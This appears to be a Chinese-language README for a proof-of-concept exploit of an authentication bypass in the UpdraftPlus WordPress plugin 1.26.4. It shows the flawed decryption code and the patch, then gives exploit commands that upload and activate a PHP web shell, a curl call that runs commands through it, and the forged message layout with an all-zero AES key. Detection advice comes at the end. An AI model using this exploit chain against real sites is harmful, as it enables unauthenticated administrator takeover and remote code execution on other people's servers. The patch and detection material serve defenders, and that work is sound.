// updraftplus/includes/class-remote-communications-v2.php
// 第 460-491 行（版本 1.26.4）

$sym_key = $rsa->decrypt($sym_key);
// ❌ 没有返回值检查！

$rij->setKey($sym_key);  // false → 全零密钥
return $rij->decrypt($ciphertext);

$sym_key = $rsa->decrypt($sym_key);

// ✅ 在 1.26.5 版中添加
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);

updraftplus-auth-bypass/
├── README.md
├── poc.py                  # 主利用脚本
├── requirements.txt        # Python 依赖
├── payloads/
│   ├── list_plugins.py     # 列出已安装插件
│   ├── upload_shell.py     # 上传 WebShell 插件
│   └── activate_plugin.py  # 激活已上传的插件
├── shell/
│   ├── build_shell.py      # 构建 WebShell ZIP
│   └── test-shell.php      # 最小 PHP WebShell
└── docs/
    ├── technical-analysis.md
    └── patch-diff.md

git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt

requests==2.31.0
pycryptodome==3.20.0

https://www.apachefriends.org
启动：Apache + MySQL

# 将 WordPress 放到 htdocs 目录
C:/xampp/htdocs/wordpress/

# 安装有漏洞的插件版本
# 下载：https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4

WordPress 管理后台 → 设置 → UpdraftPlus → UpdraftCentral 标签 → 连接

python poc.py --url http://localhost/wordpress/ --user-id 1

python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins

# 步骤 1：构建 Shell ZIP
python shell/build_shell.py

# 步骤 2：上传
python poc.py --url http://localhost/wordpress/ --cmd upload_shell

# 步骤 3：激活
python poc.py --url http://localhost/wordpress/ --cmd activate_shell

# 步骤 4：测试 RCE
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"

poc.py
  │
  ├─ 1. 构造一个畸形的 RSA 加密 sym_key（垃圾字节）
  │
  ├─ 2. 使用全零 AES-128 密钥（0x00 * 16）加密 RPC 负载
  │
  ├─ 3. 构建 udrpc_message：
  │       [3字节十六进制长度][伪造的 sym_key][16字节十六进制密文长度][密文]
  │
  ├─ 4. POST 到目标（无需认证、无需 nonce、无需 Cookie）
  │
  └─ 5. 服务端：
          rsa->decrypt(垃圾)→ false
          setKey(false)     → 0x00 密钥
          decrypt(密文)     → 我们的负载 ✅
          wp_set_current_user() → 管理员权限
          RPC 命令执行      → RCE 💀

立即将 UpdraftPlus 更新到 1.26.5 版本。

# 查找含有 udrpc_message 的异常 POST 请求
grep "udrpc_message" /var/log/apache2/access.log

# Wordfence 用户自 2026 年 6 月 3 日起已受到保护

- 意外的插件安装
- wp-content/plugins/ 中出现新的 PHP 文件
- 包含 udrpc_message 参数的针对 WordPress 根目录的 POST 请求
- WordPress 日志中意外的管理员级别操作

MIT 许可证 – 仅供教育用途。
未经授权针对不属于您的系统使用是违法的。